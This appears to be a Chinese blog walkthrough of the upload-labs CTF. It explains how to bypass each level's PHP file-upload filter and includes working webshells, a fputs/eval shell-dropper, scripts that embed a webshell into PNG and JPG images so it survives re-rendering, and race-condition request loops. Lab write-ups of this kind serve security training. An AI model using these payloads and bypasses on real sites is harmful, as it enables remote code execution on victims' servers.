当前位置: 首页 > news >正文

uploads-lab通关攻略

Pass-01(后缀)

上传php发现

发现弹窗给出了白名单文件类型.jpg|.png|.gif

仅仅过滤文件后缀,不允许为php

burp抓包修改后缀即可

image-20251014100349861

上传成功

Pass-02(后缀)

方法同上

image-20251014100940016

前往显示地址查看

image-20251014102117894

测试成功

Pass-03(.phtml)

image-20251014102317179

新增过滤,通过简单的修改png为php不在可行

考虑在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。

image-20251014102610025

找到相应路径

访问进行传参即可

image-20251014110629171

Pass-04(.htacess)

查看本题提示

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

没招了,由于是apache搭建的只能通过修改.htacess

上传

SetHandler application/x-httpd-php

表示把所有文件当作php代码来执行

之后再上传shell.txt

apache本地服务有点问题,只显示了shell.txt的源码

修改一下本地配置

即可上传成功

Pass-05(.user.ini)

提示

上传目录存在php文件(readme.php)

暗示通过.user.ini来进行文件上传包含

而且黑名单上传了

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

所以仅仅能通过.user.ini来绕过

写入

auto_prepend_file=shell.gif

image-20251015101747236

访问readme.php进行包含

Pass-06(大小写绕过)

提示过滤

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

源码

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

观察发现少了转小写的函数

所以可以通过大小写绕过。只要将shell.php改成shell.PHp即可绕过

Pass-07(空格后缀绕过前端校验)

源码

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

仔细观察发现,删除了文件名在后缀匹配之前没有删除空格

在Windows系统下尝试保存shell.php (后面有空格)发现最终保存的是shell.php,后面的空格都被去掉了,利用这个特性,我们先上传shell.php,抓包将文件名改成shell.php .

image-20251015110613083

即可

Pass-08()

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

与上面相比少了个删除点的操作

strrchr` 找到文件名中最后一个 `.` 及其后缀(包含 `.`),例如 `"a.jpg"` 返回 `".jpg"`;若没有 `.` 则返回 `false

那我们直接上传shell.php,抓包将文件名改成 shell.php. 这样代码最后检测的后缀只有一个 . 成功绕过。

Pass-09(数据流标识绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

与上面比少了Data::

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
移除 Windows NTFS 备用数据流标记 ::$DATA(攻击者可能用 file.php::$DATA 绕过检查)。::$DATA 是 NTFS 文件系统中的一种数据流标识,用于访问文件的主要数据流

image-20251015113554042

上传成功测试如上(测试时去掉$data)

Pass-10

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

发现和前几关不同的地方

$img_path = UPLOAD_PATH.'/'.$file_name;

直接上传的是文件名的路径

Windows系统中尝试保存shell.php. .时,发现最终保存的是shell.php,后面的.和空格都被删掉了。利用这个特性(Linux系统就不行),直接上传shell.php,抓包将文件名改成shell.php. .(由于删除点的函数会删除连续的点所以在中间加上空格)

即可上传成功

image-20251015114613080

Pass-11(双写绕过)

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

这里str_ireplace()函数的作用是,将文件名中包含的所有黑名单数组中的元素都替换成空,但是只替换了一次,将php双写成pphphp即可绕过。

Pass-12(00截断)

if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

参考奶妈师傅

当path路径中出现ASCII为0(0x00)的空字符时,将截断其后面的字符不执行,该空字符进行url编码后是%00

前提条件:

1.php 版本小于 5.3.29(最好用ts版的php,本人尝试过nts版的会上传失败)
2.magic_quotes_gpc = Off # 这个在 php.ini 中

windows.php.net - /downloads/releases/archives/

可以下载任意版本

上传shell.php,抓包,将文件名改成shell.png,将save_path的传参改成../upload/shell.php%00

Pass-13(00截断post版)

同上一关

与上一关不同的是save_path参数是靠POST传递的,思路一样,上传shell.php,抓包将文件名改为shell.png,将参数save_path的值改为shell.php 后面的空格将其Hex值改成00,点击apply changes,就变成空字符了。

Pass-14(文件头标识)

  1. 任务

    上传图片马到服务器。

    注意:

    1.保证上传后的图片马中仍然包含完整的一句话webshell代码。

    2.使用文件包含漏洞能运行图片马中的恶意代码。

    3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!

    提示

    本pass检查图标内容开头2个字节!

源码

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = '';    switch($typeCode){      case 255216:            $fileType = 'jpg';break;case 13780:            $fileType = 'png';break;        case 7173:            $fileType = 'gif';break;default:            $fileType = 'unknown';}    return $fileType;
}

所以只需要

image-20251020144306958

上传图片马

image-20251020144702745

所以

image-20251020144731243

访问这个即可image-20251020144849486

其他两种格式同样

文件头

  • JPG:FF D8
  • PNG:89 50 4E 47
  • GIF:47 49 46 38

Pass-15(getimagesize绕过)

源码

function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

getimagesize函数,这个函数的意思是会对目标文件的16进制去进行一个读取去读取头几个字符串是不是符合图片的要求的

所以这关还是用和14关一样的方法,生成带有php代码的图片上传,配合包含漏洞拿下此关。

image-20251020152251666

image-20251020152436976

Pass-16(exif_imagetype()绕过)

提示:本pass使用exif_imagetype()检查是否为图片文件!

源码

function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break;    default:return false;break;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

分析源码知道:

后端用exif_imagetype()校验文件类型(读取文件头第一个字节),需开启php_exif扩展,图片马可绕过

打开php.ini,去掉extension=php_exif.dll前的#,重启服务。
需要开启php_exif.dll
php_exif.dll 是 PHP 语言中用于处理图像 EXIF 元数据 的扩展模块(Windows 系统下的动态链接库文件)。它允许 PHP 脚本读取和解析嵌入在图像文件(如 JPEG、TIFF 等)中的 EXIF 信息。

php_exif.dll 的作用
php_exif.dll 为 PHP 提供了操作 EXIF 数据的接口,核心功能包括:

读取 EXIF 数据:从图像文件中提取上述元数据;
解析复杂结构:处理 EXIF 数据中嵌套的标签(如 GPS 坐标的经纬度格式转换);
兼容多种格式:支持 JPEG、TIFF、RAW 等常见图像格式的 EXIF 解析。

image-20251020155619824

上传成功

image-20251020155710034

Pass-17(二次渲染)

提示: 本pass重新渲染了图片!

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true;               }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}

第十七关主要是把二次渲染绕过
imagecreatefromjpeg()函数
二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败。
进行通关

逻辑

上传文件后发现生成了一张新图片,打开后发现原来的图片无法显示php代码的解析内容了,考虑观察新旧图片的hex编码差异
后端对上传的图片进行二次渲染(重写文件内容),需找到渲染后不变的Hex区域,嵌入PHP木马。

直接网上搜索免杀图片马

post zoe

image-20251020180009536

即可

png二次渲染脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>

运行脚本即可生成,这里的一句话木马是:

<?$_GET[0]($_POST[1]);?>
1

使用方式是get传参0=
加上post传参1=

jpg

<?php$miniPayload = "<?=phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

直接上脚本,由于jpg图片易损,对图片的选取有很大关系,很容易制作失败

参考至https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

Pass-18(条件竞争)

提示:需要代码审计!

源码:

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

逻辑漏洞:先上传了一个文件,然后检查是否文件名后缀合格,然后再二次渲染

如果我们在上传的一瞬间去访问即可赶在文件删除 之前访问,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。达到rce的效果

在Intruder中设置“无限发包”(Payload类型选Null payloads,数量设为10000),开启攻击;
同时运行Python脚本,不停访问cmd.php:

import requests
url = "http://xxx/upload/cmd.php"
while True:res = requests.get(url)if res.status_code == 200:print("生成Tony.php成功!")break

顺便把shell.php

改为

<?php 
fputs(fopen('shell.php','w'),'<?php @eval($_POST['cmd']);?>');
?>

image-20251020204447586

image-20251020204415360

访问即可

Pass-19(条件竞争2)

源码

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传,但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败,上传目录不可写。';break; case -3:$msg = '上传失败,无法上传该类型文件。';break; case -4:$msg = '上传失败,上传的文件过大。';break; case -5:$msg = '上传失败,服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传,文件不能复制到目标目录。';break;      default:$msg = '未知错误!';break;}
}//myupload.php
class MyUpload{
......
......
...... var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );......
......
......  /** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->setDir( $dir );if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkExtension();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkSize();if( $ret != 1 ){return $this->resultUpload( $ret );    }// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret );    }}// if we are here, we are ready to move the file to destination$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret );    }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret );    }}// if we are here, everything worked as planned :)return $this->resultUpload( "SUCCESS" );}
......
......
...... 
};

本道题同上一题,做些许修改

赶在重命名之前访问

上传compete.jpg,用BP拦截并无限发包;
运行Python脚本,不停文件包含访问:

import requests
url = "http://xxx/include.php?file=upload/compete.jpg"
while True:res = requests.get(url)if "Warning" not in res.text:print("生成Tony.php成功!")break

脚本成功后,连接shell.php即可

image-20251020221944121

Pass-20(move_uploaded_file()绕过)

提示 : 本pass的取文件名通过$_POST来获取

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

考点

move_uploaded_file()函数特性

会忽略掉文件末尾的 /.

上传如图

image-20251021100721496

image-20251021100806758

上传成功

Pass-21()

提示: Pass-20来源于CTF,请审计代码!

源码:

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}

源码逻辑

源码逻辑:检查MIME (通过抓包改Content-Type 绕过)判断 POST参数 save_name 是否为空,判断$file 是否为数组,不是数组以 .分割化为数组取 $file 最后一个元素,作为文件后缀进行检查取 f i l e 第 一 位 和 第 ‘ file 第一位和第` file第一位和第‘file[count($file) - 1]`作为文件名和后缀名保存文件修改content-type 修改POST参数为数组类型,
索引[0]为2.php,
索引[2]为jpg|png|gif。 
只要第二个索引不为1,
$file[count($file) - 1]就等价于$file[2-1],值为空绕过

post请求体可以穿参数

参考(https://www.cnblogs.com/LINGX5/articles/18064737)

$ext = end($file); // 取数组最后一个
$allow_suffix = array('jpg','png','gif'); // 类型的白名单数组
if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";
}

这段代码判断的是数组最后一个是不是在array('jpg','png','gif')这个数组中。

$file_name = reset($file) . '.' . $file[count($file) - 1];

第一句就暴露了漏洞所在他用到的是reset()函数,取到的是数组第一个值。后面的count()是计算数组长度的

count($file) 返回元素数目 —— 2(不看键名,count 只看元素数量)。
所以 count($file) - 11

$file[count($file) - 1]$file[1]。但数组只有下标 02下标 1 不存在

  • 访问不存在的下标会触发一个 PHP Notice(Undefined offset: 1)。
  • 表达式的值是 NULL(在字符串拼接时会变成空字符串)。

reset($file) 返回第一个元素的值 —— 'shell.php'
所以拼接结果大概率是:

'shell.php' . '.' . NULL  => 'shell.php.'

最终 $file_name = 'shell.php.'(末尾带一个点,但没有真正的扩展名)

image-20251021102824991

image-20251021102902975

成功

http://www.hskmm.com/?act=detail&tid=35595

相关文章:

  • 中国企业DevOps工具链选型指南:政务、出海与跨国协作的实战解析
  • 初始化vue3项目和打包vue3项目
  • Continuation Passing Style 连续传递样式
  • Gitee DevOps:中国企业的研发效能加速器
  • PCB布线一定不能走直角吗?一个或许有些离经叛道又颠覆常识的答案
  • 邮件大附件怎么发送的有效方案与技巧分享
  • 软件测试-缺陷管理篇
  • 数据安全交换系统介绍及其应用场景分析
  • 后端学习笔记
  • LabVIEW继电保护检测 - 教程
  • DBeaver 设置语言为中文
  • 什么是文件摆渡系统?全面解析企业数据安全交换的核心工具
  • Gitee崛起:中国开发者生态的战略升级与未来布局
  • Docker Compose v2.35.1 更新!
  • 飞驰云联亮相军工数字化转型发展峰会 共筑军工数字生态新范式
